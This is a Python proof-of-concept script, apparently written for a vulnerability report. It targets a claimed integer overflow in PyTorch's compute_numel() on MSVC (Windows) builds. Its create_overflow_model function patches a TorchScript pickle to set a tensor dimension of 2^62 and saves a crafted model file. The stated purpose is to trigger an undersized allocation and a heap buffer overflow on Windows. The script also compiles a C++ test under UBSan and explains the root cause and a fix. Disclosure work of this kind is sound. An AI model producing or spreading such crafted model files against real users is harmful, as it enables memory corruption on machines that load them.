#!/usr/bin/env python3
"""
PoC: compute_numel() Integer Overflow on MSVC (Windows) Builds

Vulnerability: PyTorch's compute_numel() at TensorImpl.h:2596-2604 uses different
code paths depending on the compiler:
  - GCC/Clang desktop: safe_compute_numel() — detects overflow via safe_multiplies_u64
  - MSVC (Windows):    multiply_integers()  — NO overflow detection (signed int64 UB)
  - Mobile (C10_MOBILE): multiply_integers() — same unsafe path

The conditional:
    #if C10_HAS_BUILTIN_OVERFLOW() && !defined(C10_MOBILE)
        return safe_compute_numel();    // SAFE
    #else
        return multiply_integers(...);  // UNSAFE — no overflow check!
    #endif

C10_HAS_BUILTIN_OVERFLOW() is unconditionally 0 on MSVC (safe_numerics.h:9-10):
    #ifdef _MSC_VER
    #define C10_HAS_BUILTIN_OVERFLOW() (0)

This means ALL Windows PyTorch users use the unsafe multiply_integers() path.
A malicious model with overflow-causing dimensions will:
  - On Linux (GCC/Clang): throw "numel: integer multiplication overflow" (SAFE)
  - On Windows (MSVC): silently overflow numel_ → undersized allocation → heap OOB

Impact: Heap buffer overflow on Windows when loading a crafted TorchScript model.
Root cause: TensorImpl.h:2596-2604, safe_numerics.h:9-10
Related: CVE-2025-30405 (same issue on mobile via C10_MOBILE)
Tested: PyTorch 2.10.0+cpu on Python 3.13.11
"""

import io
import os
import struct
import subprocess
import sys
import zipfile

import torch
import torch.nn as nn


def create_overflow_model(output_path):
    """Create a TorchScript model with dimensions that cause numel overflow.

    Shape: [2^62, 4] → numel = 2^62 * 4 = 2^64 → overflows int64 to 0
    Storage: 32 bytes (8 float32, from original Linear(4,2) weight)

    On GCC/Clang: safe_compute_numel() catches the overflow → exception
    On MSVC: multiply_integers() silently wraps numel to 0 → model loads
    """
    # Step 1: Create a legitimate TorchScript model
    model = torch.jit.script(nn.Linear(4, 2))
    buf = io.BytesIO()
    torch.jit.save(model, buf)
    model_bytes = buf.getvalue()

    # Step 2: Extract ZIP entries
    zin = zipfile.ZipFile(io.BytesIO(model_bytes), 'r')
    entries = {}
    for name in zin.namelist():
        entries[name] = zin.read(name)
    zin.close()

    # Step 3: Modify the pickle stream to set size[0] = 2^62
    pkl = bytearray(entries['archive/data.pkl'])

    # Pickle layout for weight tensor (from pickletools.dis):
    #   offset 160: BININT1 0          → storage_offset
    #   offset 162: MARK               → start of size tuple
    #   offset 163: BININT1 2          → size[0] = 2  ← MODIFY TO 2^62
    #   offset 165: BININT1 4          → size[1] = 4
    #   offset 167: TUPLE
    #   offset 168: MARK               → start of stride tuple
    #   offset 169: BININT1 4          → stride[0] = 4
    #   offset 171: BININT1 1          → stride[1] = 1
    #   offset 173: TUPLE

    # Change size[0] from BININT1(2) to LONG1(2^62)
    big_dim = 1 << 62  # 4611686018427387904
    dim_bytes = big_dim.to_bytes(8, 'little', signed=False)
    long1_encoded = bytes([0x8a, 8]) + dim_bytes  # LONG1, 8 bytes, value

    size0_pos = 163
    assert pkl[size0_pos] == 0x4b and pkl[size0_pos + 1] == 2, \
        f"Expected BININT1 2 at offset {size0_pos}"

    # Replace BININT1(2) [2 bytes] with LONG1(2^62) [10 bytes]
    pkl[size0_pos:size0_pos + 2] = long1_encoded
    print(f"  Modified size[0] from 2 to {big_dim} (2^62)")
    print(f"  numel = 2^62 * 4 = 2^64 → overflows int64 to 0")

    entries['archive/data.pkl'] = bytes(pkl)

    # Step 4: Write modified ZIP
    zout_buf = io.BytesIO()
    zout = zipfile.ZipFile(zout_buf, 'w', zipfile.ZIP_STORED)
    for name in entries:
        zout.writestr(name, entries[name])
    zout.close()

    with open(output_path, 'wb') as f:
        f.write(zout_buf.getvalue())

    print(f"  Saved: {output_path} ({os.path.getsize(output_path)} bytes)")
    return output_path


def demonstrate_gcc_catches_overflow(model_path):
    """Show that GCC/Clang's safe_compute_numel catches the overflow."""
    print()
    print("=" * 70)
    print("  Part 1: GCC/Clang Desktop — Overflow CAUGHT")
    print("=" * 70)
    print()

    try:
        model = torch.jit.load(model_path)
        print(f"  Model loaded — numel={model.weight.numel()}")
        print("  [!] Overflow was NOT caught (unexpected on GCC/Clang)")
        return False
    except RuntimeError as e:
        error_msg = str(e)
        if "overflow" in error_msg.lower():
            print(f"  RuntimeError: {error_msg.strip()}")
            print()
            print("  [+] safe_compute_numel() detected the overflow!")
            print("  [+] Code path: set_sizes_and_strides → refresh_numel")
            print("       → compute_numel → safe_compute_numel → TORCH_CHECK")
            print()
            print("  On GCC/Clang desktop builds, this is the default path because:")
            print("    #if C10_HAS_BUILTIN_OVERFLOW() && !defined(C10_MOBILE)")
            print("        return safe_compute_numel();  ← this path")
            return True
        else:
            print(f"  Unexpected error: {error_msg[:100]}")
            return False


def demonstrate_msvc_path_unsafe():
    """Show that the MSVC path (multiply_integers) silently overflows."""
    print()
    print("=" * 70)
    print("  Part 2: MSVC Path — UBSan-Confirmed Silent Overflow")
    print("=" * 70)
    print()

    print("  Compiling standalone C++ test with UndefinedBehaviorSanitizer...")
    print()

    cpp_source = r'''
#include <cstdio>
#include <cstdint>
#include <functional>
#include <numeric>
#include <vector>

// Exact copy of multiply_integers from c10/util/accumulate.h
// This is used on MSVC builds (C10_HAS_BUILTIN_OVERFLOW = 0)
int64_t multiply_integers(const std::vector<int64_t>& container) {
    return std::accumulate(
        container.begin(),
        container.end(),
        static_cast<int64_t>(1),
        std::multiplies<>());
}

int main() {
    // Same dimensions as in the crafted model
    int64_t dim0 = INT64_C(4611686018427387904);  // 2^62
    int64_t dim1 = 4;
    std::vector<int64_t> dims = {dim0, dim1};

    printf("Dimensions: [%ld, %ld]\n", (long)dim0, (long)dim1);
    printf("Expected: 2^62 * 4 = 2^64 (overflows int64)\n\n");

    // Call multiply_integers — the MSVC/Mobile path
    int64_t numel = multiply_integers(dims);

    printf("multiply_integers() result: %ld\n", (long)numel);
    printf("Overflow silently wraps to: %ld\n", (long)numel);
    printf("\nOn MSVC, compute_numel() returns this wrong value.\n");
    printf("Tensor operations then allocate numel * itemsize bytes.\n");
    printf("With numel=0, a 0-byte buffer is allocated for a tensor\n");
    printf("that claims to have 2^64 elements → HEAP BUFFER OVERFLOW\n");
    return 0;
}
'''
    import tempfile
    tmpdir = tempfile.mkdtemp()
    src = os.path.join(tmpdir, "test.cpp")
    binary = os.path.join(tmpdir, "test")

    with open(src, 'w') as f:
        f.write(cpp_source)

    # Compile with UBSan to detect signed overflow
    result = subprocess.run(
        ["g++", "-std=c++17", "-fsanitize=undefined", "-o", binary, src],
        capture_output=True, text=True
    )
    if result.returncode != 0:
        print(f"  [-] Compilation failed: {result.stderr[:200]}")
        return False

    # Run and capture UBSan output
    result = subprocess.run([binary], capture_output=True, text=True, timeout=10)

    output = result.stdout + result.stderr

    print("  UBSan output:")
    for line in output.strip().split('\n'):
        print(f"    {line}")
    print()

    if "overflow" in output.lower():
        print("  [+] UBSan CONFIRMED: signed integer overflow in multiply_integers()")
        print("  [+] This is the code path used by compute_numel() on MSVC (Windows)")
        return True
    else:
        print("  [-] UBSan did not trigger")
        return False


def demonstrate_conditional_compilation():
    """Show the conditional compilation that causes the vulnerability."""
    print()
    print("=" * 70)
    print("  Part 3: Root Cause — Conditional Compilation")
    print("=" * 70)
    print()

    print("  File: c10/util/safe_numerics.h:9-15")
    print("  ─────────────────────────────────────────────────────────")
    print("  #ifdef _MSC_VER")
    print("  #define C10_HAS_BUILTIN_OVERFLOW() (0)   // MSVC → ALWAYS 0")
    print("  #else")
    print("  #define C10_HAS_BUILTIN_OVERFLOW() (1)   // GCC/Clang → ALWAYS 1")
    print("  #endif")
    print()
    print("  File: c10/core/TensorImpl.h:2596-2604")
    print("  ─────────────────────────────────────────────────────────")
    print("  int64_t compute_numel() const {")
    print("  #if C10_HAS_BUILTIN_OVERFLOW() && !defined(C10_MOBILE)")
    print("      return safe_compute_numel();       // GCC/Clang desktop: SAFE")
    print("  #else")
    print("      return multiply_integers(...);      // MSVC & Mobile: UNSAFE!")
    print("  #endif")
    print("  }")
    print()
    print("  safe_compute_numel() at TensorImpl.h:2611-2623 uses safe_multiplies_u64()")
    print("  which HAS a working MSVC fallback (log2-based detection). But compute_numel()")
    print("  never calls it on MSVC because C10_HAS_BUILTIN_OVERFLOW() is 0.")
    print()
    print("  The fix is simple: remove the C10_HAS_BUILTIN_OVERFLOW() condition.")
    print("  safe_compute_numel() already works on MSVC via its fallback path.")
    print()


def main():
    print()
    print("  PoC: compute_numel() Integer Overflow on MSVC (Windows)")
    print(f"  PyTorch {torch.__version__}, Python {sys.version.split()[0]}")
    print()

    # Create the crafted model
    print("=" * 70)
    print("  Creating crafted TorchScript model with overflow dimensions")
    print("=" * 70)
    print()

    poc_dir = os.path.dirname(os.path.abspath(__file__))
    if not os.path.isdir(poc_dir):
        poc_dir = "/tmp"
    model_path = os.path.join(poc_dir, "numel_overflow_model.pt")
    create_overflow_model(model_path)

    # Part 1: Show GCC catches it
    gcc_ok = demonstrate_gcc_catches_overflow(model_path)

    # Part 2: Show MSVC path is unsafe (UBSan)
    ubsan_ok = demonstrate_msvc_path_unsafe()

    # Part 3: Root cause
    demonstrate_conditional_compilation()

    # Summary
    print("=" * 70)
    print("  RESULTS:")
    if gcc_ok:
        print("    [+] GCC/Clang:   safe_compute_numel() CATCHES the overflow")
    if ubsan_ok:
        print("    [+] MSVC path:   multiply_integers() has UBSan-confirmed overflow")
    print("    [+] Root cause:  C10_HAS_BUILTIN_OVERFLOW() is 0 on MSVC")
    print("    [+] Scope:       ALL Windows PyTorch users (pip/conda packages)")
    print("    [+] Fix:         Always call safe_compute_numel() on desktop")
    print("    [+] Related:     CVE-2025-30405 (same issue on mobile/C10_MOBILE)")
    print("=" * 70)


if __name__ == "__main__":
    main()